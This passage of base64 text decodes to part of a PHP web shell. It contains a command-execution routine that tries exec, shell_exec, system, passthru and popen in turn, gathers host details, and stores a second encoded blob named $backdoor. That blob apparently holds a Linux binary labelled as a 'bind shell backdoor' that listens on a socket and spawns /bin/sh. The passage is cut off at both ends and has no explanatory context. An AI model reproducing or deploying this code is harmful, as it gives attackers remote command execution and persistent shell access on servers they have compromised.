KCk7IHBhc3N0aHJ1KCRjbWQpOyAkcmVzdWx0ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgZWNobyAkdjsNCiAgICAgICAgfSBlbHNlaWYgKGlzX3Jlc291cmNlKCRmcCA9IHBvcGVuKCRjbWQsInIiKSkpIHsNCiAgICAgICAgICAkcmVzdWx0ID0gIiI7DQogICAgICAgICAgd2hpbGUoIWZlb2YoJGZwKSkgeyAkcmVzdWx0IC49IGZyZWFkKCRmcCwxMDI0KTsgfQ0KICAgICAgICAgIHBjbG9zZSgkZnApOw0KICAgICAgICB9DQogICAgICB9DQogICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICB9DQogIH0NCn0NCmZ1bmN0aW9uIGV4KCRjZmUpIHsNCiAgJHJlcyA9ICcnOw0KICBpZiAoIWVtcHR5KCRjZmUpKSB7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsNCiAgICAgIEBleGVjKCRjZmUsJHJlcyk7DQogICAgICAkcmVzID0gam9pbigiXG4iLCRyZXMpOw0KICAgIH0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7DQogICAgICAkcmVzID0gQHNoZWxsX2V4ZWMoJGNmZSk7DQogICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgew0KICAgICAgQG9iX3N0YXJ0KCk7DQogICAgICBAc3lzdGVtKCRjZmUpOw0KICAgICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgIEBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCiAgICAgIEBvYl9zdGFydCgpOw0KICAgICAgQHBhc3N0aHJ1KCRjZmUpOw0KICAgICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgIEBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkgew0KICAgICAgJHJlcyA9ICIiOw0KICAgICAgd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsgfQ0KICAgICAgQHBjbG9zZSgkZik7DQogICAgfSBlbHNlIHsgJHJlcyA9ICJFeCgpIERpc2FibGVkISI7IH0NCiAgfQ0KICByZXR1cm4gJHJlczsNCn0NCmZ1bmN0aW9uIHdoaWNoKCRwcikgew0KICAkcGF0aCA9IGV4KCJ3aGljaCAkcHIiKTsNCiAgaWYoIWVtcHR5KCRwYXRoKSkgeyByZXR1cm4gJHBhdGg7IH0gZWxzZSB7IHJldHVybiAkcHI7IH0NCn0NCg0KJGhvc3RuYW1lX3ggPSBwaHBfdW5hbWUobik7DQokaXRzaG9tZSA9IGdldGN3ZCgpOw0KaWYgKCEkd2luKSB7DQogICRpdHNob21lID0gc3RyX3JlcGxhY2UoIi9ob21lLyIsIn4iLCRpdHNob21lKTsNCiAgJGl0c2hvbWUgPSBzdHJfcmVwbGFjZSgiL3B1YmxpY19odG1sIiwiL2NhLnBocCIsJGl0c2hvbWUpOw0KfQ0KZWxzZSB7ICRpdHNob21lID0gIiI7IH0NCiRlbnVtZXJhdGUgPSAiaHR0cDovLyIuJGhvc3RuYW1lX3guIi8iLiRpdHNob21lLiIiOw0KDQoNCiRMdmVyc2lvbiA9IHBocF91bmFtZShyKTsNCiRPU1YgPSBwaHBfdW5hbWUocyk7DQoNCg0KJGJhY2tkb29yID0gImYwVk1SZ0VCQVFBQUFBQUFBQUFBQUFJQUF3QUJBQUFBb0lVRUNEUUFBQUQ0RWdBQUFBQUFBRFFBSUFBSEFDZ0FJZ0FmQUFZQUFBQTBBQUFBTklBRUNEU0FCQWpnQUFBQTRBQUFBQVVBQUFBRUFBQUFBd0FBQUJRQkFBQVVnUVFJRklFRUNCTUFBQUFUQUFBQUJBQUFBQUVBQUFBQkFBQUFBQUFBQUFDQUJBZ0FnQVFJckFrQUFLd0pBQUFGQUFBQUFCQUFBQUVBQUFDc0NRQUFySmtFQ0t5WkJBZzBBUUFBT0FFQUFBWUFBQUFBRUFBQUFnQUFBTUFKQUFEQW1RUUl3SmtFQ01nQUFBRElBQUFBQmdBQUFBUUFBQUFFQUFBQUtBRUFBQ2lCQkFnb2dRUUlJQUFBQUNBQUFBQUVBQUFBQkFBQUFGSGxkR1FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFZQUFBQUVBQUFBTDJ4cFlpOXNaQzFzYVc1MWVDNXpieTR5QUFBRUFBQUFFQUFBQUFFQUFBQkhUbFVBQUFBQUFBSUFBQUFDQUFBQUFBQUFBQkVBQUFBVEFBQUFBQUFBQUFBQUFBQVFBQUFBRVFBQUFBQUFBQUFBQUFBQUNRQUFBQWdBQUFBRkFBQUFBd0FBQUEwQUFBQUFBQUFBQUFBQUFBOEFBQUFLQUFBQUVnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlBQUFBQkFBQUFBQUFBQUFjQUFBQUxBQUFBQUFBQUFBUUFBQUFNQUFBQURnQUFBQUlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDNEFBQUFBQUFBQWRRRUFBQklBQUFDZ0FBQUFBQUFBQUhFQUFBQVNBQUFBTkFBQUFBQUFBQURNQUFBQUVnQUFBR29BQUFBQUFBQUFXZ0FBQUJJQUFBQk1BQUFBQUFBQUFIZ0FBQUFTQUFBQVl3QUFBQUFBQUFBNUFBQUFFZ0FBQUZnQUFBQUFBQUFBT1FBQUFCSUFBQUNPQUFBQUFBQUFBT1lBQUFBU0FBQUFPd0FBQUFBQUFBQTZBQUFBRWdBQUFGTUFBQUFBQUFBQU9RQUFBQklBQUFCMUFBQUFBQUFBQUxrQUFBQVNBQUFBZWdBQUFBQUFBQUFyQUFBQUVnQUFBRWNBQUFBQUFBQUFlQUFBQUJJQUFBQnZBQUFBQUFBQUFBNEFBQUFTQUFBQWZ3QUFBRWlKQkFnRUFBQUFFUUFPQUVBQUFBQUFBQUFBT1FBQUFCSUFBQUFCQUFBQUFBQUFBQUFBQUFBZ0FBQUFGUUFBQUFBQUFBQUFBQUFBSUFBQUFBQmZTblpmVW1WbmFYTjBaWEpEYkdGemMyVnpBRjlmWjIxdmJsOXpkR0Z5ZEY5ZkFHeHBZbU11YzI4dU5nQmxlR1ZqYkFCd1pYSnliM0lBWkhWd01nQnpiMk5yWlhRQWMyVnVaQUJoWTJObGNIUUFZbWx1WkFCelpYUnpiMk5yYjNCMEFHeHBjM1JsYmdCbWIzSnJBR2gwYjI1ekFHVjRhWFFBWVhSdmFRQmZTVTlmYzNSa2FXNWZkWE5sWkFCZlgyeHBZbU5mYzNSaGNuUmZiV0ZwYmdCamJHOXpaUUJIVEVsQ1ExOHlMakFBQUFBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFRQUNBQUFBQUFBQUFBRUFBUUFrQUFBQUVBQUFBQUFBQUFBUWFXa05BQUFDQUtZQUFBQUFBQUFBaUpvRUNBWVNBQUNZbWdRSUJ3RUFBSnlhQkFnSEFnQUFvSm9FQ0FjREFBQ2ttZ1FJQndRQUFLaWFCQWdIQlFBQXJKb0VDQWNHQUFDd21nUUlCd2NBQUxTYUJBZ0hDQUFBdUpvRUNBY0pBQUM4bWdRSUJ3b0FBTUNhQkFnSEN3QUF4Sm9FQ0FjTUFBREltZ1FJQncwQUFNeWFCQWdIRGdBQTBKb0VDQWNRQUFCVmllV0Q3QWpvTVFFQUFPaURBUUFBNkZzRUFBREp3d0QvTlpDYUJBai9KWlNhQkFnQUFBQUEveVdZbWdRSWFBQUFBQURwNFAvLy8vOGxuSm9FQ0dnSUFBQUE2ZEQvLy8vL0phQ2FCQWhvRUFBQUFPbkEvLy8vL3lXa21nUUlhQmdBQUFEcHNQLy8vLzhscUpvRUNHZ2dBQUFBNmFELy8vLy9KYXlhQkFob0tBQUFBT21RLy8vLy95V3dtZ1FJYURBQUFBRHBnUC8vLy84bHRKb0VDR2c0QUFBQTZYRC8vLy8vSmJpYUJBaG9RQUFBQU9sZy8vLy8veVc4bWdRSWFFZ0FBQURwVVAvLy8vOGx3Sm9FQ0doUUFBQUE2VUQvLy8vL0pjU2FCQWhvV0FBQUFPa3cvLy8vL3lYSW1nUUlhR0FBQUFEcElQLy8vLzhsekpvRUNHaG9BQUFBNlJELy8vLy9KZENhQkFob2NBQUFBT2tBLy8vL01lMWVpZUdENVBCUVZGSm9yWWdFQ0doY2lBUUlVVlpvUUlZRUNPaGYvLy8vOUpDUVZZbmxVK2diQUFBQWdjTy9GQUFBZyt3RWk0UDgvLy8vaGNCMEF2L1FnOFFFVzEzRGl4d2t3MVdKNVlQc0NJQTk0Sm9FQ0FCMERPc2NnOEFFbzl5YUJBai8wcUhjbWdRSWl4Q0YwblhyeGdYZ21nUUlBY25EVllubGcrd0lvYnlaQkFpRndIUVN1QUFBQUFDRndIUUp4d1FrdkprRUNQL1F5Y09Ra0ZXSjVWZUQ3R1NENVBDNEFBQUFBSVBBRDRQQUQ4SG9CTUhnQkNuRXgwWGtBUUFBQU1kRitFeUpCQWpIUkNRSUFBQUFBTWRFSkFRQkFBQUF4d1FrQWdBQUFPZ0ovLy8vaVVYd2czM3dBSGtZeHdRa2pJa0VDT2cwL3YvL3h3UWtBUUFBQU9pby92Ly9ac2RGMUFJQXgwWFlBQUFBQUl0RkRJUEFCSXNBaVFRazZKdisvLzhQdDhDSkJDVG9zUDcvLzJhSlJkYkhSQ1FRQkFBQUFJMUY1SWxFSkF6SFJDUUlBZ0FBQU1kRUpBUUJBQUFBaTBYd2lRUWs2QkwrLy8rTlJkVEhSQ1FJRUFBQUFJbEVKQVNMUmZDSkJDVG9LUDcvLzRYQWVSakhCQ1NUaVFRSTZLajkvLy9IQkNRQkFBQUE2QnorLy8vSFJDUUVDQUFBQUl0RjhJa0VKT2k1L2YvL2hjQjVHTWNFSkppSkJBam9lZjMvLzhjRUpBRUFBQURvN2YzLy84ZEY2QkFBQUFDTlJlaU5WY1NKUkNRSWlWUWtCSXRGOElrRUpPaHQvZi8vaVVYMGczMzBBSGtNeHdRa2pJa0VDT2c0L2YvLzZFUDkvLytGd0ErRXB3QUFBSXRGK0xuLy8vLy9pVVc0dUFBQUFBRDhpMzI0OHE2SnlQZlFnK2dCeDBRa0RBQUFBQUNKUkNRSWkwWDRpVVFrQkl0RjlJa0VKT2lRL2YvL3gwUWtCQUFBQUFDTFJmU0pCQ1RvUGYzLy84ZEVKQVFCQUFBQWkwWDBpUVFrNkNyOS8vL0hSQ1FFQWdBQUFJdEY5SWtFSk9nWC9mLy94MFFrQ0FBQUFBREhSQ1FFbjRrRUNNY0VKSitKQkFqb2Uvei8vNHRGOElrRUpPaUEvUC8veHdRa0FBQUFBT2dFL2YvL2kwWDBpUVFrNkduOC8vL3BEdi8vLzFXSjVWZFdNZlpUNkgvOS8vK0J3eU1TQUFDRDdBem9FZnovLzQyRElQLy8vNDJUSVAvLy80bEY4Q25Rd2ZnQ09jWnpGb25YL3hTeWkwWHdnOFlCS2ZpSitzSDRBam5HY3V5RHhBeGJYbDlkdzFXSjVZUHNHSWxkOU9ndC9mLy9nY1BSRVFBQWlYWDRpWDM4amJNZy8vLy9qYnNnLy8vL0tmN0IvZ0xyQS84VXQ0UHVBWVArLzNYMTZEb0FBQUNMWGZTTGRmaUxmZnlKN0YzRGtGV0o1Vk9EN0FTaHJKa0VDSVA0LzNRU3U2eVpCQWovMEl0RC9JUHJCSVA0LzNYemc4UUVXMTNEa0pDUVZZbmxVK2k3L1AvL2djTmZFUUFBZyt3RTZMSDgvLytEeEFSYlhjTUFBQUFEQUFBQUFRQUNBRG82SUhjMFkyc3hibWN0YzJobGJHd2dLRkJ5YVhaaGRHVWdRblZwYkdRZ2RqQXVNeWtnWW1sdVpDQnphR1ZzYkNCaVlXTnJaRzl2Y2lBNk9pQUtDZ0J6YjJOclpYUUFZbWx1WkFCc2FYTjBaVzRBTDJKcGJpOXphQUFBQUFBQUFQLy8vLzhBQUFBQS8vLy8vd0FBQUFBQUFBQUFBUUFBQUNRQUFBQU1BQUFBaUlRRUNBMEFBQUFraVFRSUJBQUFBRWlCQkFnRkFBQUFFSU1FQ0FZQUFBRGdnUVFJQ2dBQUFMQUFBQUFMQUFBQUVBQUFBQlVBQUFBQUFBQUFBd0FBQUl5YUJBZ0NBQUFBZUFBQUFCUUFBQUFSQUFBQUZ3QUFBQkNFQkFnUkFBQUFDSVFFQ0JJQUFBQUlBQUFBRXdBQUFBZ0FBQUQrLy85djZJTUVDUC8vLzI4QkFBQUE4UC8vYjhDREJBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQXdKa0VDQUFBQUFBQUFBQUF0b1FFQ01hRUJBaldoQVFJNW9RRUNQYUVCQWdHaFFRSUZvVUVDQ2FGQkFnMmhRUUlSb1VFQ0ZhRkJBaG1oUVFJZG9VRUNJYUZCQWlXaFFRSUFBQUFBQUFBQUFDNG1RUUlBRWREUXpvZ0tFZE9WU2tnTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQUFFZERRem9nS0VkT1ZTa2dNeTQwTGpZZ0tGVmlkVzUwZFNBekxqUXVOaTB4ZFdKMWJuUjFNaWtBQUVkRFF6b2dLRWRPVlNrZ05DNHdMak1nS0ZWaWRXNTBkU0EwTGpBdU15MHhkV0oxYm5SMU5Ta0FBRWREUXpvZ0tFZE9WU2tnTkM0d0xqTWdLRlZpZFc1MGRTQTBMakF1TXkweGRXSjFiblIxTlNrQUFFZERRem9nS0VkT1ZTa2dNeTQwTGpZZ0tGVmlkVzUwZFNBekxqUXVOaTB4ZFdKMWJuUjFNaWtBQUVkRFF6b2dLRWRPVlNrZ05DNHdMak1nS0ZWaWRXNTBkU0EwTGpBdU15MHhkV0oxYm5SMU5Ta0FBRWREUXpvZ0tFZE9WU2tnTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQUFBQWNBQUFBQWdBQUFBQUFCQUFBQUFBQW9JVUVDQ0lBQUFBQUFBQUFBQUFBQURRQUFBQUNBQXNCQUFBRUFBQUFBQURvaFFRSUJBQUFBQ1NKQkFnU0FBQUFpSVFFQ0FzQUFBREVoUVFJSkFBQUFBQUFBQUFBQUFBQUxBQUFBQUlBbXdFQUFBUUFBQUFBQU9pRkJBZ0VBQUFBTzRrRUNBWUFBQUNkaEFRSUFnQUFBQUFBQUFBQUFBQUFJUUFBQUFJQWVnQUFBSkVBQUFCNUFBQUFYMGxQWDNOMFpHbHVYM1Z6WldRQUFBQUFBSFlBQUFBQ0FBQUFBQUFFQVFBQUFBQ2doUVFJd29VRUNDNHVMM041YzJSbGNITXZhVE00Tmk5bGJHWXZjM1JoY25RdVV3QXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXVXZaMnhwWW1NdE1pNHpMall2WTNOMUFFZE9WU0JCVXlBeUxqRTJMamt4QUFHQWpRQUFBQUlBRkFBQUFBUUJXd0FBQU1TRkJBakVoUVFJWWdBQUFBRUFBQUFBRVFBQUFBS1FBQUFBQkFjQ1ZBQUFBQUVJQXAwQUFBQUNCd0tMQUFBQUJBY0NWZ0FBQUFFR0FnY0FBQUFDQlFOcGJuUUFCQVVDUmdBQUFBZ0ZBb1lBQUFBSUJ3SkxBQUFBQkFVQ2tBQUFBQVFIQWwwQUFBQUJCZ1N3QUFBQUFSbUxBQUFBQVFVRFNJa0VDQVZQQUFBQUFJd0FBQUFDQUZZQUFBQUVBWUlBQUFBdlluVnBiR1F2WW5WcGJHUmtMMmRzYVdKakxUSXVNeTQyTDJKMWFXeGtMWFJ5WldVdmFUTTROaTFzYVdKakwyTnpkUzlqY25ScExsTUFMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmRzYVdKakxUSXVNeTQyTDJOemRRQkhUbFVnUVZNZ01pNHhOaTQ1TVFBQmdJd0FBQUFDQUdZQUFBQUVBUzhCQUFBdlluVnBiR1F2WW5WcGJHUmtMMmRzYVdKakxUSXVNeTQyTDJKMWFXeGtMWFJ5WldVdmFUTTROaTFzYVdKakwyTnpkUzlqY25SdUxsTUFMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmRzYVdKakxUSXVNeTQyTDJOemRRQkhUbFVnUVZNZ01pNHhOaTQ1TVFBQmdBRVJBQkFHRVFFU0FRTUlHd2dsQ0JNRkFBQUFBUkVCRUFZU0FSRUJKUTRUQ3dNT0d3NEFBQUlrQUFNT0N3cytDd0FBQXlRQUF3Z0xDejRMQUFBRU5BQUREam9MT3d0SkV6OE1BZ29BQUFVbUFFa1RBQUFBQVJFQUVBWURDQnNJSlFnVEJRQUFBQUVSQUJBR0F3Z2JDQ1VJRXdVQUFBQlhBQUFBQWdBeUFBQUFBUUg3RGcwQUFRRUJBUUFBQUFFQUFBRXVMaTl6ZVhOa1pYQnpMMmt6T0RZdlpXeG1BQUJ6ZEdGeWRDNVRBQUVBQUFBQUJRS2doUVFJQThBQUFUTWhORDBsSWdNWUlGbGFJU0pjV3dJQkFBRUJJd0FBQUFJQUhRQUFBQUVCK3c0TkFBRUJBUUVBQUFBQkFBQUJBR2x1YVhRdVl3QUFBQUFBcVFBQUFBSUFVQUFBQUFFQit3NE5BQUVCQVFFQUFBQUJBQUFCTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJrek9EWXRiR2xpWXk5amMzVUFBR055ZEdrdVV3QUJBQUFBQUFVQzZJVUVDQVBBQUFFOUFnRUFBUUVBQlFJa2lRUUlBeTRCSVM4aFdXY0NBd0FCQVFBRkFvaUVCQWdESHdFaEx6MENCUUFCQVFBRkFzU0ZCQWdEQ2dFaEx5RlpaejFuTHk4d1BTRWhBZ0VBQVFHSUFBQUFBZ0JRQUFBQUFRSDdEZzBBQVFFQkFRQUFBQUVBQUFFdlluVnBiR1F2WW5WcGJHUmtMMmRzYVdKakxUSXVNeTQyTDJKMWFXeGtMWFJ5WldVdmFUTTROaTFzYVdKakwyTnpkUUFBWTNKMGJpNVRBQUVBQUFBQUJRTG9oUVFJQXlFQlBRSUJBQUVCQUFVQ080a0VDQU1TQVQwaElRSUJBQUVCQUFVQ25ZUUVDQU1KQVNFQ0FRQUJBV2x1YVhRdVl3QnphRzl5ZENCcGJuUUFMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmRzYVdKakxUSXVNeTQyTDJOemRRQnNiMjVuSUd4dmJtY2dhVzUwQUhWdWMybG5ibVZrSUdOb1lYSUFSMDVWSUVNZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FiRzl1WnlCc2IyNW5JSFZ1YzJsbmJtVmtJR2x1ZEFCemFHOXlkQ0IxYm5OcFoyNWxaQ0JwYm5RQVgwbFBYM04wWkdsdVgzVnpaV1FBQUM1emVXMTBZV0lBTG5OMGNuUmhZZ0F1YzJoemRISjBZV0lBTG1sdWRHVnljQUF1Ym05MFpTNUJRa2t0ZEdGbkFDNW9ZWE5vQUM1a2VXNXplVzBBTG1SNWJuTjBjZ0F1WjI1MUxuWmxjbk5wYjI0QUxtZHVkUzUyWlhKemFXOXVYM0lBTG5KbGJDNWtlVzRBTG5KbGJDNXdiSFFBTG1sdWFYUUFMblJsZUhRQUxtWnBibWtBTG5KdlpHRjBZUUF1WldoZlpuSmhiV1VBTG1OMGIzSnpBQzVrZEc5eWN3QXVhbU55QUM1a2VXNWhiV2xqQUM1bmIzUUFMbWR2ZEM1d2JIUUFMbVJoZEdFQUxtSnpjd0F1WTI5dGJXVnVkQUF1WkdWaWRXZGZZWEpoYm1kbGN3QXVaR1ZpZFdkZmNIVmlibUZ0WlhNQUxtUmxZblZuWDJsdVptOEFMbVJsWW5WblgyRmlZbkpsZGdBdVpHVmlkV2RmYkdsdVpRQXVaR1ZpZFdkZmMzUnlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUd3QUFBQUVBQUFBQ0FBQUFGSUVFQ0JRQkFBQVRBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ01BQUFBSEFBQUFBZ0FBQUNpQkJBZ29BUUFBSUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBeEFBQUFCUUFBQUFJQUFBQklnUVFJU0FFQUFKZ0FBQUFFQUFBQUFBQUFBQVFBQUFBRUFBQUFOd0FBQUFzQUFBQUNBQUFBNElFRUNPQUJBQUF3QVFBQUJRQUFBQUVBQUFBRUFBQUFFQUFBQUQ4QUFBQURBQUFBQWdBQUFCQ0RCQWdRQXdBQXNBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQkhBQUFBLy8vL2J3SUFBQURBZ3dRSXdBTUFBQ1lBQUFBRUFBQUFBQUFBQUFJQUFBQUNBQUFBVkFBQUFQNy8vMjhDQUFBQTZJTUVDT2dEQUFBZ0FBQUFCUUFBQUFFQUFBQUVBQUFBQUFBQUFHTUFBQUFKQUFBQUFnQUFBQWlFQkFnSUJBQUFDQUFBQUFRQUFBQUFBQUFBQkFBQUFBZ0FBQUJzQUFBQUNRQUFBQUlBQUFBUWhBUUlFQVFBQUhnQUFBQUVBQUFBQ3dBQUFBUUFBQUFJQUFBQWRRQUFBQUVBQUFBR0FBQUFpSVFFQ0lnRUFBQVhBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBSEFBQUFBQkFBQUFCZ0FBQUtDRUJBaWdCQUFBQUFFQUFBQUFBQUFBQUFBQUJBQUFBQVFBQUFCN0FBQUFBUUFBQUFZQUFBQ2doUVFJb0FVQUFJUURBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFnUUFBQUFFQUFBQUdBQUFBSklrRUNDUUpBQUFkQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUljQUFBQUJBQUFBQWdBQUFFU0pCQWhFQ1FBQVl3QUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ1BBQUFBQVFBQUFBSUFBQUNvaVFRSXFBa0FBQVFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBbVFBQUFBRUFBQUFEQUFBQXJKa0VDS3dKQUFBSUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFLQUFBQUFCQUFBQUF3QUFBTFNaQkFpMENRQUFDQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNuQUFBQUFRQUFBQU1BQUFDOG1RUUl2QWtBQUFRQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQXJBQUFBQVlBQUFBREFBQUF3SmtFQ01BSkFBRElBQUFBQlFBQUFBQUFBQUFFQUFBQUNBQUFBTFVBQUFBQkFBQUFBd0FBQUlpYUJBaUlDZ0FBQkFBQUFBQUFBQUFBQUFBQUJBQUFBQVFBQUFDNkFBQUFBUUFBQUFNQUFBQ01tZ1FJakFvQUFFZ0FBQUFBQUFBQUFBQUFBQVFBQUFBRUFBQUF3d0FBQUFFQUFBQURBQUFBMUpvRUNOUUtBQUFNQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQU1rQUFBQUlBQUFBQXdBQUFPQ2FCQWpnQ2dBQUJBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBRE9BQUFBQVFBQUFBQUFBQUFBQUFBQTRBb0FBQ1lCQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBMXdBQUFBRUFBQUFBQUFBQUFBQUFBQWdNQUFDSUFBQUFBQUFBQUFBQUFBQUlBQUFBQUFBQUFPWUFBQUFCQUFBQUFBQUFBQUFBQUFDUURBQUFKUUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUQyQUFBQUFRQUFBQUFBQUFBQUFBQUF0UXdBQUNzQ0FBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFnRUFBQUVBQUFBQUFBQUFBQUFBQU9BT0FBQjJBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQkFCQUFBQkFBQUFBQUFBQUFBQUFBQldEd0FBdXdFQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBY0FRQUFBUUFBQURBQUFBQUFBQUFBRVJFQUFMOEFBQUFBQUFBQUFBQUFBQUVBQUFBQkFBQUFFUUFBQUFNQUFBQUFBQUFBQUFBQUFOQVJBQUFuQVFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUFFQUFBQUNBQUFBQUFBQUFBQUFBQUJJR0FBQThBVUFBQ0VBQUFBL0FBQUFCQUFBQUJBQUFBQUpBQUFBQXdBQUFBQUFBQUFBQUFBQU9CNEFBTElEQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBVWdRUUlBQUFBQUFNQUFRQUFBQUFBS0lFRUNBQUFBQUFEQUFJQUFBQUFBRWlCQkFnQUFBQUFBd0FEQUFBQUFBRGdnUVFJQUFBQUFBTUFCQUFBQUFBQUVJTUVDQUFBQUFBREFBVUFBQUFBQU1DREJBZ0FBQUFBQXdBR0FBQUFBQURvZ3dRSUFBQUFBQU1BQndBQUFBQUFDSVFFQ0FBQUFBQURBQWdBQUFBQUFCQ0VCQWdBQUFBQUF3QUpBQUFBQUFDSWhBUUlBQUFBQUFNQUNnQUFBQUFBb0lRRUNBQUFBQUFEQUFzQUFBQUFBS0NGQkFnQUFBQUFBd0FNQUFBQUFBQWtpUVFJQUFBQUFBTUFEUUFBQUFBQVJJa0VDQUFBQUFBREFBNEFBQUFBQUtpSkJBZ0FBQUFBQXdBUEFBQUFBQUNzbVFRSUFBQUFBQU1BRUFBQUFBQUF0SmtFQ0FBQUFBQURBQkVBQUFBQUFMeVpCQWdBQUFBQUF3QVNBQUFBQUFEQW1RUUlBQUFBQUFNQUV3QUFBQUFBaUpvRUNBQUFBQUFEQUJRQUFBQUFBSXlhQkFnQUFBQUFBd0FWQUFBQUFBRFVtZ1FJQUFBQUFBTUFGZ0FBQUFBQTRKb0VDQUFBQUFBREFCY0FBQUFBQUFBQUFBQUFBQUFBQXdBWUFBQUFBQUFBQUFBQUFBQUFBQU1BR1FBQUFBQUFBQUFBQUFBQUFBQURBQm9BQUFBQUFBQUFBQUFBQUFBQUF3QWJBQUFBQUFBQUFBQUFBQUFBQUFNQUhBQUFBQUFBQUFBQUFBQUFBQUFEQUIwQUFBQUFBQUFBQUFBQUFBQUFBd0FlQUFBQUFBQUFBQUFBQUFBQUFBTUFId0FBQUFBQUFBQUFBQUFBQUFBREFDQUFBQUFBQUFBQUFBQUFBQUFBQXdBaEFBRUFBQUFBQUFBQUFBQUFBQVFBOGY4TUFBQUFBQUFBQUFBQUFBQUVBUEgvS0FBQUFBQUFBQUFBQUFBQUJBRHgveThBQUFBQUFBQUFBQUFBQUFRQThmODZBQUFBQUFBQUFBQUFBQUFFQVBIL2RBQUFBTVNGQkFnQUFBQUFBZ0FNQUlRQUFBQUFBQUFBQUFBQUFBUUE4ZitQQUFBQXJKa0VDQUFBQUFBQkFCQUFuUUFBQUxTWkJBZ0FBQUFBQVFBUkFLc0FBQUM4bVFRSUFBQUFBQUVBRWdDNEFBQUE0Sm9FQ0FFQUFBQUJBQmNBeHdBQUFOeWFCQWdBQUFBQUFRQVdBTTRBQUFEc2hRUUlBQUFBQUFJQURBRGtBQUFBRzRZRUNBQUFBQUFDQUF3QWhBQUFBQUFBQUFBQUFBQUFCQUR4Ly9BQUFBQ3dtUVFJQUFBQUFBRUFFQUQ5QUFBQXVKa0VDQUFBQUFBQkFCRUFDZ0VBQUtpSkJBZ0FBQUFBQVFBUEFCZ0JBQUM4bVFRSUFBQUFBQUVBRWdBa0FRQUErSWdFQ0FBQUFBQUNBQXdBTHdBQUFBQUFBQUFBQUFBQUJBRHgvem9CQUFBQUFBQUFBQUFBQUFRQThmOTBBUUFBQUFBQUFBQUFBQUFFQVBIL2VBRUFBTUNaQkFnQUFBQUFBUUlUQUlFQkFBQ3NtUVFJQUFBQUFBQUM4ZitTQVFBQXJKa0VDQUFBQUFBQUF2SC9wUUVBQUt5WkJBZ0FBQUFBQUFMeC83WUJBQUNNbWdRSUFBQUFBQUVDRlFETUFRQUFySmtFQ0FBQUFBQUFBdkgvM3dFQUFBQUFBQUIxQVFBQUVnQUFBUEFCQUFBQUFBQUFjUUFBQUJJQUFBQUJBZ0FBUklrRUNBUUFBQUFSQUE0QUNBSUFBQUFBQUFETUFBQUFFZ0FBQUJvQ0FBQUFBQUFBV2dBQUFCSUFBQUFxQWdBQTJKb0VDQUFBQUFBUkFoWUFOd0lBQUsySUJBaEtBQUFBRWdBTUFFY0NBQUFBQUFBQWVBQUFBQklBQUFCWkFnQUFpSVFFQ0FBQUFBQVNBQW9BWHdJQUFBQUFBQUE1QUFBQUVnQUFBSEVDQUFBQUFBQUFPUUFBQUJJQUFBQ0hBZ0FBb0lVRUNBQUFBQUFTQUF3QWpnSUFBRnlJQkFoUkFBQUFFZ0FNQUo0Q0FBRGdtZ1F